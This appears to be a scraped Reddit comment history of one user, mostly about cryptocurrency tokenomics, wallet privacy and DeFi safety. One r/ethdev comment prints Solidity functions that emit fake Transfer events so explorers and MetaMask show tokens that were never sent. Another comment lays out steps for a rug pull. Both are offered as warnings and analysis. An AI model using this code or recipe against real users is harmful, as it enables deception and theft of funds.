/r/blackfriday/comments/z0508j/hulu_us_12month_hulu_ad_supported_subscription/ixx0vxf/

The year ad block stops working for Hulu is the year I stop getting this.

Commented by /u/Maleficent_Plankton in /r/blackfriday on November 26, 2022 20:15:30
/r/Buttcoin/comments/z554tu/solid_8_return_over_5_years_with_bitcoin/ixwidjv/

Still better than Cathy Wood's ARKK: -4% in 5 years. FUCW.

Commented by /u/Maleficent_Plankton in /r/Buttcoin on November 26, 2022 17:47:21
/r/CointestOfficial/comments/x5muky/general_concepts_scarcity_tokenomics_conarguments/ixwafgj/

##**The meaning of scarcity** There are 3 main concepts related to scarcity in crypto: * **Max supply**: the total tokens that will ever be minted * **Total supply**: max supply minus removed tokens (usually from burning) * **Circulating supply**: the current minted supply that's usable The more I study **scarcity** across all cryptocurrencies and tokens, the more I believe it's an idea used to create false narratives to mislead uneducated retail investors. Scarcity and max supply are so easily-manipulated to create price movement, which can then be used in rug pulls, both slow and fast. When you release a token with scarcity (i.e. max supply), retail thinks that they can hold onto it, and eventually the circulating supply will hit the cap, making it a good investment. **They don't realize that often the founders and VCs don't stick around that long, and that projects with max supplies can still be highly-inflationary for many years**. Founders and early backers often sell well before the token hits the cap while the token is still inflationary, and they use retail as exit liquidity. What's truly important isn't scarcity but **utility.** ##**Problems with Max Supply** ####**A decline of rewards and subsidies** Nearly every native blockchain cryptocurrency has a mechanism to reward those contributing to the security (known as the security budget) and the ecosystem (foundation rewards, DeFi developer rewards, staking rewards, governance rewards). These rewards are often paid either with a pre-mined rewards pool or from a block subsidy through inflation. Without inflation, these rewards will eventually go away and need to be funded through other mechanisms like transaction fees. When there's a supply cap, the rewards pool or rewards subidy used for paying miners, validators, and stakers will slowly disappear. Everything will eventually need to be paid by transaction fees once the cap is reached. If you look at [revenue fee streams from TokenTerminal](https://tokenterminal.com/terminal/metrics/fees), the only blockchain projects that have high-enough fees to pay for the cost of running it are BSC, Ethereum, and Polygon PoS. They all use a version of EIP-1559, which burns a portion of the transaction fees. **Bitcoin**: Currently, revenue from the transaction fees are only [1-5% of the block rewards](https://bitinfocharts.com/comparison/bitcoin-fee_to_reward.html). Thus, when the block subsidy decreases by 99.99% in 50 years through halvings, transaction fees would need to increase by 20-50x to make up for the subsidy in order to sustain the current security budget. At least 1 of 3 things will need to happen: * the security decreases * transaction fees shoot up * a governance change to adjust the maximum supply. **Cardano**: Similar as Bitcoin, it uses a rewards pool for staking rewards that also halves roughly every 4 years (depending on transaction fees). Transaction fees are currently 100x less than what's needed to sustain the rewards pool. Thus, the staking rewards will keep declining until it's competely insignificant. What do you think is going to happen to the community, so involved in delegated staking, when those rewards drop below 1%? That community is going to disappear. Cardano's DeFi is already a ghost town, and it can't afford to drop any further. **Algorand**: Algorand has a high chance of slowly dying after 2030 due to centralization and lack of economic incentive to stay. Its Foundation expects to survive without paying its relay nodes and validators while also removing its governance and staking rewards. When the governance rewards and DeFi rewards run out, the Algorand supporters will no longer have anything exciting to post, and it will gradually fall off everyone's radar. ####**Sustainable scarcity without max supply through utility** Now there is a way to have sustainable scarcity, and that's through having enough revenue through fees to offset rewards. Networks that prioritize utility and usage can be sustainable. Without inflation, a decentralized blockchain with a skeleton crew of 100 engineers and 200 nodes would need to make about $10-20M in fees to keep running without requiring them to work without adequate pay. Polygon PoS and BSC are fairly centralized, so they can afford to run cheaply. Ethereum is already [Ultrasound](https://ultrasound.money/) through massive ETH fee burning, so it's scarce and sustainable despite having no max supply. ##**Other issues with scarcity** ####**Scarcity is less important than utility** If I print a single scarce NFT and give it zero utility, no one will buy it. If I print 1000 non-scarce NFTs and give them worthwhile utility, plenty of people will buy them. Scarcity by itself is meaningless. ####**Scarcity leads to less utility** With scarcity, people want to hold onto their tokens as investments, so they're less likely to use them. [Gresham's Law](https://www.investopedia.com/terms/g/greshams-law.asp) states that people will choose to transact using inflationary currency and hold balances of deflationary currency. Thus given 2 otherwise similar cryptocurrencies, people are more likely to transact with the inflationary one, leading to more usage. ####**Easy to manipulate for rug pulls** It's super easy to manipulate scarcity to the point for rug pulls, and this is done all the time. 1. Design a token with a very long token release schedule (e.g. 10 years) via inflation 1. Give founders (and insiders) a huge portion of the funds during ICO. Force them to hold onto it until after the initial pump. 1. Have extremely-limited liquidity at the start. Because the liquidity is limited, you can easily pump the price of the token. Create a lot of buzz around the launch so that retail and VCs will buy and pump up the price even more during launch. At that point, for a fast rug pull, insiders will sell immediately or within months of a launch. **Slow rugs** For a slow rug pull, insiders and VCs might slowly the dump the token as their vesting schedule unlocks. This is a common ICO tactic. SBF also used a similar model where they manipulated the price of FTT in a pump, took loan using it as collateral. They then kept liquidity low, bought back FTT with the collateral to keep the price up in markets even though it was actually worthless. Without scarcity through low liquidity, they couldn't have single-handedly manipulated the market price to that extent. Many L1 tokens ALGO, AVAX, LINK, MATIC, follow a similar model, but also include staking. Initial founders and VCs can continuing earning double-digit interest while dumping their tokens on retail bagholders. The tokens have supply limits, but they hit their limits are so far in the future that it buys the founders time to exit. The project might be dead in 10 years with the founders completely gone.

Commented by /u/Maleficent_Plankton in /r/CointestOfficial on November 26, 2022 16:45:27
/r/CryptoCurrency/comments/z55m9p/programming_languages_prevent_mainstream_defi/ixvxtxl/

If you're interreacting with a TradFi web server, you don't NEED to know what the code is running. You just need to know whether the company has decent customer support and trustworthy employees. If something goes wrong, you contact customer support. If the company is bad, you can bet that there will be plenty of people going after it. Now if you're interacting with a DeFi web server, you have no idea what it's doing until after it sends a web3 request. If it's a basic transaction, it's easy to audit. But if it's a complex transaction, unless you have Solidity experience or are extremely experienced with DeFi, you're not going to be 100% safe. And there are no take-backs. It only takes 1 bad actor and 1 bad transaction to screw you over. That web server could check your wallet's balance, figure out you're a whale, single you out, and redirect you to a different contract. And you would have no idea unless you're checking the contract address and its code EVERY time. NO one does this, not even Solidity devs unless they feel something is off. It takes too much time. It's absolutely ridiculous to expect retail customers to decompile contracts or even know how to read the code.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 26, 2022 15:15:26
/r/CryptoCurrency/comments/z55m9p/programming_languages_prevent_mainstream_defi/ixvtvtk/

Agreed. Even as a developer, it's very easy to get tricked unless you spend time analyzing and decompiling other people's code. The barrier to entry for blackhat devs is so low that bad actors are everywhere

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 26, 2022 14:47:32
/r/CryptoCurrency/comments/z55m9p/programming_languages_prevent_mainstream_defi/ixvs33d/

It's pretty easy to copy code from OpenZeppelin to create an ERC-20 token. But if you're interacting with another ERC-20 contact you didn't create, it's very difficult to know what it's doing unless you decompile it. ERC-20 is a standard that simply defines function prototypes. Within the functions, the creator can do whatever he wants. You can make an absolutely broken token that fakes all transactions using Events, and it would still qualify as an ERC-20 token. For example, I was analyzing a token yesterday from a scammer where the Approval() function was actually payable and stealing ETH from whoever called it. Any user interacting with honest DEX that losted this token would've been compromised. Even if you're a developer, it's easy to fall for this unless you're specifically a Solidity developer who put in the effort to reverse engineer the token.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 26, 2022 14:34:42
/r/CryptoCurrency/comments/z55m9p/programming_languages_prevent_mainstream_defi/ixvpdsl/

Python is a very imprecise, weakly-typed language. There are interpreters, but it's a terrible language to use for something that needs high security like smart contracts.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 26, 2022 14:15:09
/r/CryptoCurrency/comments/z49crh/ethereum_metamask_privacy_policy_is_worse_than_it/ixv5u3t/

That's a fundamental trust issue. If an RPC says it's not tracking and storing your IP address, how would you even know for sure? Routers and firewalls log their packet info. If a government agency wanted to track a specific person's data, they could request the past week's worth of packets before that data gets cleared.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 26, 2022 11:55:56
/r/CryptoReality/comments/z59lj4/rick_lost_everything/ixv5805/

/r/Buttcoin in a nutshell

Commented by /u/Maleficent_Plankton in /r/CryptoReality on November 26, 2022 11:51:26
/r/CryptoCurrency/comments/z5bc1t/clarification_nearly_all_wallet_providers_are/ixv3j3l/

I think a lot of people here are not really concerned. They're either posting about Metamask/Infura because they're either **crypto-virtue-signaling** or just getting caught up by news clickbait. If you're a not criminal, trying to dodge taxes, or some famous entity, you probably shouldn't be worried about this. And if you were worried about this, you should've been using a VPN a long time ago.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 26, 2022 11:38:55
/r/CryptoCurrency/comments/z5bc1t/clarification_nearly_all_wallet_providers_are/ixv25j2/

The authorities would probably consider you too stupid to care about tracking.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 26, 2022 11:28:35
/r/CryptoCurrency/comments/z59grr/controversial_update_of_core_bitcoin_240_and_the/ixuzakd/

Are people actually doing zero-confirmation? A year ago when I was researching it, it was only heard of on Bitcoin Cash, and only used for small transactions. No one should be using it for large transactions. And if there is a loss, it's simply written off as a business loss like shoplifting. Part of the convenience vs security tradeoff.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 26, 2022 11:06:47
/r/ethereum/comments/z4u4j7/safest_defi_wallet/ixuwlfz/

You're absolutely right. I got caught up with OP's first sentence and the rest of the comments. I use Metamask a lot, but there are a lot of short-comings when it comes to ease of use. It assumes you're already an expert. * Does not warn about high token approvals * Does not explain the difference between a normal signature request and a red hash signature request * If you want a custom transaction, you need another web3 client to inject the request into Metamask I think it's safe as long as you know what you're doing, but mainly because it's yhe most battle-tested.

Commented by /u/Maleficent_Plankton in /r/ethereum on November 26, 2022 10:46:04
/r/CryptoCurrency/comments/z53s1v/serious_why_dont_we_have_discussions_about/ixu3osg/

There are plenty of serious and analytical topics, just not in this sub. Moon farming is the cause of that. People reply even when they have very little to contribute, and it brings down the overall quality. This is the reason I spend way more time in other subs, where I actually learn things, than this one.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 26, 2022 05:35:36
/r/ethereum/comments/z4gxfa/why_did_eth_supply_go_up_if_volume_was_higher/ixu18u5/

It's due to how the EIP-1559 formula works. See https://np.reddit.com/r/ethfinance/comments/yjx2bc/daily_general_discussion_november_2_2022/iuqa9ba/ That explains the math behind it. The more volatility between gas prices, the more the price goes down because it doesn't use an exponential/AMM curve. Let's take a look at 2 scenarios: 1. Day 1: All blocks use 15M gas. The gas price would remain constant. 1. Day 2: All blocks alternate between 0M gas and 30M gas. The gas price would fall 2.6% every 2 blocks and would eventually go to 0 Gwei. Vitalik also pointed this out a year ago: https://np.reddit.com/r/ethereum/comments/p4nloh/why_has_the_chain_capacity_increased_by_9_after/

Commented by /u/Maleficent_Plankton in /r/ethereum on November 26, 2022 04:59:04
/r/ethereum/comments/z4gxfa/why_did_eth_supply_go_up_if_volume_was_higher/ixu144v/

It's due to how the EIP-1559 formula works. See https://np.reddit.com/r/ethfinance/comments/yjx2bc/daily_general_discussion_november_2_2022/iuqa9ba/ That explains the math behind it. The more volatility between gas prices, the more the price goes down because it doesn't use an exponential/AMM curve. Let's take a look at 2 scenarios: 1. Day 1: All blocks use 15M gas. The gas price would remain constant. 1. Day 2: All blocks alternate between 0M gas and 15M gas. The gas price would fall 2.6% every 2 blocks and would eventually go to 0 Gwei.

Commented by /u/Maleficent_Plankton in /r/ethereum on November 26, 2022 04:57:09
/r/ethfinance/comments/z4zqum/daily_general_discussion_november_26_2022/ixtt5fw/

Transfers/TransferFroms are executed as 2 actions: 1. the Transfer event 1. an update to the account balances (usually stored in a mapping, which is similar to an array) I think the underlying issue is that the [ERC-20 standard is very flexible](https://eips.ethereum.org/EIPS/eip-20). It only loosely defines the contract needs: 1. certain named functions 1. what their inputs should be. But inside of those Transfer() functions, the creator can put whatever code he wants. It can be a totally broken token and still adhere to the ERC-20 standard. I originally thought Explorers used address-to-balance mappings for the balance, but it actually uses **balanceOf**(). This kind of makes sense since the mapping is **private** to the contract while balanceOf() is a **public** function that anyone can view. They also monitor "Transfer" events to store transactions. So the fundamental issue is which to use as **source of truth**: the balanceOf() function or the Transfer event? What happens when they don't match? That's more of a philosophical question. Also, transfers can also be spoofed in a different way: https://medium.com/etherscan-blog/spoof-tokens-on-ethereum-c2ad882d9cf6.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 26, 2022 03:00:44
/r/ethfinance/comments/z4zqum/daily_general_discussion_november_26_2022/ixts2jl/

It's different than this type of spoofing: https://medium.com/etherscan-blog/spoof-tokens-on-ethereum-c2ad882d9cf6 Not sure whether it has a name.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 26, 2022 02:45:37
/r/ethfinance/comments/z4zqum/daily_general_discussion_november_26_2022/ixtl2m3/

**TIL that EVM blockchain explorers can be tricked into**: * Displaying ERC-20 tokens as sent when they're not * Displaying a fake token balance Earlier, I found [this transaction](https://polygonscan.com/tx/0x99e4e905ff7ae4d2da87c95c9ffe7250bdc54a8f4c940203e64f0c68e12b7d43) on Polygon PoS from a token spammer where they seemed to have performed batch transfer to 1000 unique addresses for 2.5K gas per transfer. It caught my attention because that gas usage was 10x more efficient than anything I've seen. Updating balances requires SSTORE, which uses 15-20k gas unless you're zeroing a balance. It turns they're not actually updating the balance. They were **faking it** by using an [**Emit**](https://solidity-by-example.org/events/), which is minly used to log events to the blockchain. You can legitimately use Emits to permanently update contract functionality (e.g. the [Adventureum concept game](https://anallergytoanalogy.github.io/blockchain-adventure/)), but it's not used for ERC-20 tokens. Someone in Ethdev figured it out pretty quickly, so this scam might be quite common. I'm still relatively new. **The blockchain explorer is being tricked in 2 different ways**: * **Fake transfer**: It sees the Emit/Event and assumes that 50K tokens were transferred each time. So you can make the blockchain think you're sending X amount when you're actually sending Y amount. In the spammer's case, 0 tokens were actually sent. * **Fake balance**: When you view an account, it uses balanceOf(address) to determine the token balance on that account. In the spammer's case, balanceOf(address) is hard-coded to return 50K for ALL accounts instead of properly using the address-to-balance mapping. **Testing this**: I gave this a test by creating a similar contract on the Sepolia testnet. Sure enough, when I use the AirDrop function to send out 50 tokens to each account, the explorer is tricked into [thinking they were sent](https://sepolia.etherscan.io/tx/0xee6b95f750fa52d53cc5c57910dfa69545c8e77b38c42de52b0cec9a99a7f45d). When I check the balance of one of those [accounts](https://sepolia.etherscan.io/address/0x59abf3837fa962d6853b4cc0a19513aa031fd32b) in the Token drop-down menu, it shows a different number (69.42) because my balanceOf() function is hard-coded to return that amount. But if any of those accounts tries to do a real transfer, they'll get this error message: "execution reverted: ERC20: transfer amount exceeds balance", revealing that they actually own zero tokens despite, contradicting the Explorer. The whole ERC-20 contract is broken and doesn't work properly. **Even Metamask** was tricked when I checked my accounts for balance. The sending account showed the token transfer while the receiving one didn't. I'm not sure whether you can do this for internal ETH transactions as well. I'll probably test that another time. If so, that would be pretty nasty since a lot of people would fall for it. As for the spammer, I'm not sure what his endgame is. I suspect it's preparing for some kind of scam, possibly tricking others into think they got Airdrops. Or maybe it's for advertising to their sketchy website.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 26, 2022 01:12:35
/r/ethdev/comments/z4o7ww/how_is_this_sender_able_to_batch_transfer_to/ixtk322/

I gave this a test by creating a similar contract on the Sepolia testnet: https://sepolia.etherscan.io/address/0x5c012069f6e3e2929a83d1e32ef492127808c6c7#code Emitting creates an Event, and apparently, that's what both the Explorer and MetaMask use to tell whether an ERC-20 token has been sent. I originally thought it was based on address-to-balance mapping. In the functions below, I removed all requirements and the actual Transfer() function. Only the Emit is left, and that's all that's needed for the Explorer. function transfer(address _to, uint256 _amount) public override returns (bool) { emit Transfer(_msgSender(), _to, _amount); return true; } function AirDrop(address[] calldata _recipients, uint256 _amount) public { for (uint i=0; i < _recipients.length; i++) { emit Transfer(msg.sender, _recipients[i], _amount); } } Sure enough, when I use the AirDrop function to send out 50 tokens to each account, the explorer is tricked into [thinking they were sent](https://sepolia.etherscan.io/tx/0xee6b95f750fa52d53cc5c57910dfa69545c8e77b38c42de52b0cec9a99a7f45d). When I check the balance of one of those [accounts](https://sepolia.etherscan.io/address/0x59abf3837fa962d6853b4cc0a19513aa031fd32b) in the Token drop-down menu, it shows a different number (69.42) because my balanceOf() function is hard-coded to return that amount.

Commented by /u/Maleficent_Plankton in /r/ethdev on November 26, 2022 01:00:37
/r/ethereum/comments/z4u4j7/safest_defi_wallet/ixti65k/

I'm just going to leave this here. I'm guessing most privacy policies include IP since apps generally track IP for bugs reports, statistics, and other uses. ####**Tracks IP** **Loopring** Complies with the law and tracks IP https://loopring.io/#/document/privacy_en.md > We will not share your information with third parties except to provide you with our services and products, to **comply with the law** or to protect our rights. > (c) Device information: We will collect the relevant information of your device using our services, including device ID, version information of the mobile device operating system, mobile device platform type (iOS or Android), phone language, channel information (e.g., GooglePlay, Apple App Store), **IP address** in order to provide statistical analysis services, and calibrate the accuracy of report data through geographic location to provide basic anti-fraud function. **Gamestop** Tracks IP and GPS: https://decrypt.co/101133/gamestop-rolls-out-metamask-like-ethereum-wallet-to-support-nft-marketplace **TrustWallet** Tracks IP: https://trustwallet.com/privacy-policy/ **Ledger Live** Tracks IP, click actions: https://www.ledger.com/privacy-policy **Guarda** Tracks IP: https://guarda.com/privacy-policy/ **Coinbase** Tracks IP: https://help.coinbase.com/en/coinbase/privacy-and-security/data-privacy/what-is-the-gdpr ####**Mostly does not track IP** **Exodus** Not normally tracked. Is tracked when using the in-wallet exchange feature: https://support.exodus.com/article/138-what-information-does-exodus-have-access-to **MyEtherWallet** Does **not** track IP as far as I can tell unless you visit their site: https://www.myetherwallet.com/privacy-policy

Commented by /u/Maleficent_Plankton in /r/ethereum on November 26, 2022 00:38:18
/r/ethereum/comments/z4u4j7/safest_defi_wallet/ixtghpk/

TrustWallet also tracks IP: https://trustwallet.com/privacy-policy/

Commented by /u/Maleficent_Plankton in /r/ethereum on November 26, 2022 00:19:46
/r/ethereum/comments/z4u4j7/safest_defi_wallet/ixtgc8a/

It tracks IP and GPS: https://decrypt.co/101133/gamestop-rolls-out-metamask-like-ethereum-wallet-to-support-nft-marketplace

Commented by /u/Maleficent_Plankton in /r/ethereum on November 26, 2022 00:18:06
/r/ethereum/comments/z4u4j7/safest_defi_wallet/ixtfhku/

The crypto community has really bad standards when it comes to defining "wallet". In general, it can be used for 1) something that stores private keys and 2) something that can produce a private key given a passcode. Most software and hardware wallets are in category 2. A paper wallet is category 1.

Commented by /u/Maleficent_Plankton in /r/ethereum on November 26, 2022 00:08:47
/r/ethereum/comments/z4u4j7/safest_defi_wallet/ixtemiu/

They track IP and comply with the law. OP specifically mentioned IP address. > https://loopring.io/#/document/privacy_en.md > We will not share your information with third parties except to provide you with our services and products, to **comply with the law** or to protect our rights. > (c) Device information: We will collect the relevant information of your device using our services, including device ID, version information of the mobile device operating system, mobile device platform type (iOS or Android), phone language, channel information (e.g., GooglePlay, Apple App Store), **IP address** in order to provide statistical analysis services, and calibrate the accuracy of report data through geographic location to provide basic anti-fraud function.

Commented by /u/Maleficent_Plankton in /r/ethereum on November 25, 2022 23:59:37
/r/CryptoCurrency/comments/z4dd86/up_to_99_off_in_the_crypto_black_friday_sale/ixte6vs/

So you're saying this is a Kohl's sale.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 25, 2022 23:54:58
/r/CryptoCurrency/comments/z4r2px/kraken_ceo_calls_binance_proof_of_reserves/ixt8co7/

This is called Merkle PoR, and many exchanges have just started using it. It's the method Vitalik recommended using. Unfortunately, the few times when it was posted here, barely anyone in the comments understood it.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 25, 2022 22:57:37
/r/ethdev/comments/z4o7ww/how_is_this_sender_able_to_batch_transfer_to/ixsl4y4/

Good find. Didn't realize explorers could be tricked that way.

Commented by /u/Maleficent_Plankton in /r/ethdev on November 25, 2022 19:29:54
/r/CryptoCurrency/comments/z4idgc/psamany_of_you_have_recieved_airdrops/ixrhrzn/

Interesting. It's an [ERC-20 token](https://polygonscan.com/address/0xbA777aE3a3C91fCD83EF85bfe65410592Bdd0f7c). Did you guys notice your contract got airdropped [TBBT tokens](https://polygonscan.com/tx/0x99e4e905ff7ae4d2da87c95c9ffe7250bdc54a8f4c940203e64f0c68e12b7d43)? What's amazing is that they batch transferred to 1000 address for only 3k gas per token transfer. That's insanely low and about 15x cheaper than a normal ERC-20 transfer. Are you guys going to do something similar for batch transfers?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 25, 2022 14:25:38
/r/CryptoCurrency/comments/z4jl3c/trying_to_explain_the_entire_2022_contagion/ixrd2sx/

I've done a cursory review of the chart against my own notes that I've been collecting, and it checks out. Looks great!

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 25, 2022 13:50:36
/r/CryptoCurrency/comments/z4guxv/koinly_black_friday_sale_40_off_with_bf22_code/ixr97av/

Thanks. I needed this. Was not expecting this from you of all people.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 25, 2022 13:22:25
/r/CryptoCurrency/comments/z4fmr0/serious_warning_about_wbtc_steth_depeg/ixqr4qk/

None of these have real pegs. **They're not even supposed to represent ETH on a 1:1 ratio. Over time, their value vs ETH should increase.** * [**cbETH**](https://www.coingecko.com/en/coins/coinbase-wrapped-staked-eth) has a discount that fluctuates all the time * [**rETH**](https://www.coingecko.com/en/coins/rocket-pool-eth) has a premium that was originally a discount that fluctuates all the time * [**stETH**](https://www.coingecko.com/en/coins/lido-staked-ether) is really close to ETH, but fluctuates very little compared to the other two. How can you explain this logically? You ABSOLUTELY can't. They're traded on open markets once they're exchanged from ETH. I can only speculate, and there are many people on the Ethereum subs who know way more about this than me. * **cbETH** is lower probably because their users are less educated and don't realize it should have a premium * **rETH** is higher probably because their users are more educated and are afraid of Lido having too much of the stake * **stETH** is very stable because it has gigantic liquidity on open markets compared to the other 2 **What I do know is that they are NOT supposed to be 1:1 with ETH**, and if they are, it's not due to protocol but social issues.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 25, 2022 11:08:05
/r/CryptoCurrency/comments/z4fmr0/serious_warning_about_wbtc_steth_depeg/ixqn0kv/

Can you explain why cbETH has a discount, rETH has a premium, and why stETH should have neither?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 25, 2022 10:36:10
/r/CryptoCurrency/comments/z49crh/ethereum_metamask_privacy_policy_is_worse_than_it/ixpudoy/

In order to update your account info when you open the extension, it has to query the RPC. So if you haven't already changed your RPC from Infura, Metamask will give away your IP address the next time you launch it.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 25, 2022 05:27:41
/r/CryptoCurrency/comments/z3t6zi/coinbase_reveals_reserves_of_2000000_btc_worth/ixp6tr3/

Coinbase has 4x as much BTC as Binance. This is 2M for Coinbase and 475k for Binance.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 25, 2022 00:07:48
/r/ethereum/comments/z3neqv/angry_that_metamask_is_going_to_start_collecting/ixp0akj/

For dedicated Internet: that's an underestimate in most of America.

Commented by /u/Maleficent_Plankton in /r/ethereum on November 24, 2022 23:02:45
/r/ethereum/comments/z3neqv/angry_that_metamask_is_going_to_start_collecting/ixp06hp/

It's not. They're both owned by owned by ConsenSys and bought out at separate times.

Commented by /u/Maleficent_Plankton in /r/ethereum on November 24, 2022 23:01:39
/r/CryptoCurrency/comments/z3yjal/binance_safu_insurance_fund_is_44_backed_by_its/ixolgfv/

This is fine. It's an **insurance**, not collateral. They aren't required to have it. And the rest of it is BTC and stablecoins.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 24, 2022 20:48:04
/r/ethfinance/comments/z3bxpv/daily_general_discussion_november_24_2022/ixo9p7t/

It's just Ardana and Orbis quitting. Djed and USDA are still ongoing.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 24, 2022 19:01:44
/r/ethfinance/comments/z3bxpv/daily_general_discussion_november_24_2022/ixo9kwd/

A lot of Cardano rug pulls lately. Orbis and Ardana. Meld probably in the near future. Looks pretty bleak. But they still have the DJED and USDA stablecoin projects.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 24, 2022 19:00:42
/r/CryptoCurrency/comments/z3uoxk/lighting_makes_bitcoin_scalable_bitcoin_magazine/ixo51f7/

You have a 1:1 connection to that hub through a channel. Once the capacity of the channel is used up, it's a dead channel, and you've lost the liquidity to the rest of the Lightning Network until you open a new channel.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 24, 2022 18:21:37
/r/ethfinance/comments/z3bxpv/daily_general_discussion_november_24_2022/ixo3wvs/

That makes no sense. Blocks on Cardano are limited by 80kb space, and that's way more than enough to fit hundreds of addresses on it. Computations only matter for Tx fees. Why could there only be one liquidation per block?

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 24, 2022 18:12:02
/r/CryptoCurrency/comments/z3uoxk/lighting_makes_bitcoin_scalable_bitcoin_magazine/ixnzkwg/

A rule of thumb is that if it's working well, then you're either using a custodial wallet or connecting to a centralized hub. Might as well be using an exchange. The vast majority if Lightning wallets are custodial.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 24, 2022 17:35:38
/r/CryptoCurrency/comments/z3odw7/metamask_will_start_collecting_user_ip_addresses/ixnt8a1/

Something like this would've made it really easy to identify the IP address of the FTX hacker, or at least which VPN he's using.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 24, 2022 16:43:58
/r/CryptoCurrency/comments/z3odw7/metamask_will_start_collecting_user_ip_addresses/ixnsi8y/

Anything in the green: https://chainlist.org/chain/1

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 24, 2022 16:38:07
/r/CryptoCurrency/comments/z3odw7/metamask_will_start_collecting_user_ip_addresses/ixns4jq/

Ledger is not a wallet. They're also not an RPC like Infura, which is what's actually collecting your data.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 24, 2022 16:35:01
/r/CryptoCurrency/comments/z3nf6x/dust_sweeper_turns_dust_into_eth/ixnqotn/

Here's the contract: https://etherscan.io/address/0x78106f7db3ebcee3d2cfac647f0e4c9b06683b39#code Overall, it seems ok, but I haven't analyzed the front end.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 24, 2022 16:23:34
/r/CryptoCurrency/comments/z3u5s8/polkadot_incentivizes_its_community_to_fight/ixnmcxy/

Time to create a scam, report it, and then collect the bounty.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 24, 2022 15:50:31
/r/CryptoCurrency/comments/z3pyrf/whale_pulls_101_million_in_eth_liquidity_from/ixnm6ts/

A 1 percent change from the previous ratio. That's completely expected for tokens traded on open markets when whales trade.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 24, 2022 15:49:17
/r/CryptoCurrency/comments/z3pyrf/whale_pulls_101_million_in_eth_liquidity_from/ixnlzlw/

It changed 1 percent and then bounced back. No biggie. Perfectly normal for market prices to briefly change when whales trade.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 24, 2022 15:47:51
/r/CryptoCurrency/comments/z3k516/when_discussing_ftx_the_ceo_of_cme_group_slips_up/ixnk1og/

He does a great job of hosting criminals on his show.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 24, 2022 15:33:30
/r/CryptoCurrency/comments/z3er8w/metamask_will_now_collect_your_ip_adress_what_are/ixmys9c/

I don't think you understand. It's actually a good change for decentralization. It only affects Infura's RPC (the default Ethereum mainnet RPC on Metamask), and it lead to more **RPC decentralization** from people trying to avoid Infura.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 24, 2022 12:56:56
/r/CryptoCurrency/comments/z3er8w/metamask_will_now_collect_your_ip_adress_what_are/ixmykiv/

It's a good change. It only affects **Infura's RPC** (the default Ethereum mainnet RPC on Metamask), and it lead to more **RPC decentralization** from people trying to avoid Infura.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 24, 2022 12:55:25
/r/CryptoCurrency/comments/z2x7o9/new_moons_distribution_round_33_proposal/ixmy8p9/

We can thank SBF for that. That giant flood of anti-FTX rage posts.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 24, 2022 12:53:07
/r/CryptoCurrency/comments/z2ruei/serious_latest_detailed_bankless_episode_most_of/ixmuieh/

Fractionalized real estate has been popular among real estate agents for decades. Would work with this possible future standard too: [EIP-4675: Multi-Fractional Non-Fungible Token Standard](https://ethereum-magicians.org/t/eip-4675-multi-fractional-non-fungible-token-standard/8008)

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 24, 2022 12:27:29
/r/ethereum/comments/ytkatr/sent_eth_from_coinbase_its_showing_as_internal/ixm5n8k/

Internal transactions occur whenever a smart contract is causing ETH to be sent. That's all it is. They are super common whenever you interact with contacts and are normal. https://docs.alchemy.com/docs/what-are-internal-transactions They're only reversible if the transaction fails. So as long as the Tx is finalized, they're irreversible.

Commented by /u/Maleficent_Plankton in /r/ethereum on November 24, 2022 09:23:07
/r/CryptoCurrency/comments/z30ifp/possible_scam_going_around_or_im_just_new/ixl67u5/

It turns out the Tron wallets are case-sensitive. Here's [the account](https://tronscan.org/#/address/THzbnFasHU6AsHfbKahznBNC3Ss591zwPS). You can see at the top that it set a [separate account](https://tronscan.org/#/address/TXDhYVbmZtsX23HY9Rwc5fWvCx5ZJtkdnP) with [all the permissions](https://tronscan.org/#/address/THzbnFasHU6AsHfbKahznBNC3Ss591zwPS/permissions). That's why you could never transfer out. There are also transactions on the Polygon PoS and BSC networks, but those are just random people playing around with the account on other networks.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 24, 2022 02:04:52
/r/CryptoCurrency/comments/z30ifp/possible_scam_going_around_or_im_just_new/ixl2owl/

